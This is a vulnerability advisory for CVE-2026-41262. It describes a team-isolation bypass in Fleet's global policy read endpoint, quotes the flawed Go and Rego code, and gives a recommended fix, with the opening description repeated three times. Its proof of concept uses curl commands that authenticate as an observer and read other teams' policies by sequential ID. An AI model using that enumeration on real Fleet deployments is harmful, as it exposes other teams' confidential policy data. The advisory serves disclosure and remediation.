Fleet is an open-source device management platform built on osquery. In versions prior to 4.85.0, the global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) fails to verify team ownership of the requested policy, allowing an authenticated user with observer-level access on any single team to read the full details of policies belonging to any other team and bypass Fleet's team isolation model. The handler authorizes the request against an empty policy object whose TeamID is nil, which an authorization rule permits for any user holding a role on any team, and then fetches the policy by ID with no team filter and returns it without any post-fetch scope check. Because policy IDs are sequential integers, an attacker can enumerate them to read other teams' policy SQL queries, host pass and fail counts, and associated software-installer and script metadata, exposing security-monitoring strategies and compliance posture across team boundaries. This issue is fixed in version 4.85.0.
Fleet is an open-source device management platform built on osquery. In versions prior to 4.85.0, the global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) fails to verify team ownership of the requested policy, allowing an authenticated user with observer-level access on any single team to read the full details of policies belonging to any other team and bypass Fleet's team isolation model. The handler authorizes the request against an empty policy object whose TeamID is nil, which an authorization rule permits for any user holding a role on any team, and then fetches the policy by ID with no team filter and returns it without any post-fetch scope check. Because policy IDs are sequential integers, an attacker can enumerate them to read other teams' policy SQL queries, host pass and fail counts, and associated software-installer and script metadata, exposing security-monitoring strategies and compliance posture across team boundaries. This issue is fixed in version 4.85.0.
Fleet is an open-source device management platform built on osquery. In versions prior to 4.85.0, the global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) fails to verify team ownership of the requested policy, allowing an authenticated user with observer-level access on any single team to read the full details of policies belonging to any other team and bypass Fleet's team isolation model. The handler authorizes the request against an empty policy object whose TeamID is nil, which an authorization rule permits for any user holding a role on any team, and then fetches the policy by ID with no team filter and returns it without any post-fetch scope check. Because policy IDs are sequential integers, an attacker can enumerate them to read other teams' policy SQL queries, host pass and fail counts, and associated software-installer and script metadata, exposing security-monitoring strategies and compliance posture across team boundaries. This issue is fixed in version 4.85.0.
## Summary
The global policy read endpoint (`GET /api/latest/fleet/policies/{policy_id}`) performs authorization against an empty `fleet.Policy{}` struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.
## Details
The vulnerability is in `GetPolicyByIDQueries` at `server/service/global_policies.go:163-180`:
```go
func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
// Auth check uses empty Policy{} — TeamID is nil
if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
return nil, err
}
// Fetches ANY policy by ID, regardless of team ownership
policy, err := svc.ds.Policy(ctx, policyID)
if err != nil {
return nil, err
}
// ... populates install_software and run_script, returns full policy
return policy, nil
}
```
The authorization passes because the OPA rule at `server/authz/policy.rego:724-728` allows reading policies with null `team_id` for any user who holds a role on any team:
```rego
allow {
is_null(object.team_id)
object.type == "policy"
team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
action == read
}
```
Since the auth object has nil TeamID, this rule fires for any team member. After authorization, `ds.Policy()` calls `policyDB()` at `server/datastore/mysql/policies.go:283-288` with a nil teamID:
```go
func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
teamWhere := "TRUE" // nil teamID → no team filter
args := []interface{}{id}
if teamID != nil {
teamWhere = "team_id = ?"
args = append(args, *teamID)
}
// ... executes SELECT with WHERE p.id = ? AND {teamWhere}
```
This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.
By contrast, the properly-secured endpoints verify team scope:
- `GetTeamPolicyByIDQueries` (`team_policies.go:421-428`) sets `TeamID: ptr.Uint(teamID)` on the auth object and calls `ds.TeamPolicy()` which filters by team
- `DeleteGlobalPolicies` (`global_policies.go:255-263`) explicitly checks `policy.PolicyData.TeamID != nil` after fetching
## PoC
Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.
```bash
# Step 1: Authenticate as User A (Team 1 observer only)
TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"password"}' | jq -r '.token')
# Step 2: Enumerate policy IDs (they are sequential integers)
# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)
curl -s -H "Authorization: Bearer $TOKEN" \
https://fleet.example.com/api/latest/fleet/policies/5
# Expected: 403 Forbidden (user has no access to Team 2)
# Actual: 200 OK with full policy data:
# {
# "policy": {
# "id": 5,
# "name": "Team 2 Sensitive Policy",
# "query": "SELECT * FROM sensitive_table WHERE ...",
# "team_id": 2,
# "passing_host_count": 42,
# "failing_host_count": 7,
# "description": "...",
# "resolution": "...",
# ...
# }
# }
```
## Impact
An authenticated user with observer-level access on any single team can:
- **Read SQL queries** from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details
- **View host pass/fail counts** for other teams' policies, leaking compliance posture data across team boundaries
- **Access software installer and script metadata** associated with other teams' policies via the `populatePolicyInstallSoftware` and `populatePolicyRunScript` calls
- **Enumerate all policies** by iterating sequential integer IDs
This breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.
## Recommended Fix
Add a post-fetch check in `GetPolicyByIDQueries` to verify the returned policy is actually a global policy (nil TeamID), consistent with how `DeleteGlobalPolicies` operates:
```go
func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
return nil, err
}
policy, err := svc.ds.Policy(ctx, policyID)
if err != nil {
return nil, err
}
// Verify this is actually a global policy — team policies must be
// accessed via the team-scoped endpoint which enforces team authorization
if policy.TeamID != nil {
return nil, authz.ForbiddenWithInternal(
"attempting to read team policy via global endpoint",
authz.UserFromContext(ctx),
policy,
fleet.ActionRead,
)
}
if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {
return nil, ctxerr.Wrap(ctx, err, "populate install_software")
}
if err := svc.populatePolicyRunScript(ctx, policy); err != nil {
return nil, ctxerr.Wrap(ctx, err, "populate run_script")
}
return policy, nil
}
```
Alternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 26, 2026, 6:32:30 PM
dateUpdated: Aug 26, 2026, 6:57:43 PM
1 related source bulletins · separate from aliases
WID-SEC-W-2026-2101: Fleet: Schwachstelle ermöglicht Offenlegung von Informationen
CVE-2026-41262
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-863
Original publisher date fields
published: 2026-08-26T19:16:50.480
lastModified: 2026-09-09T21:09:13.080
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.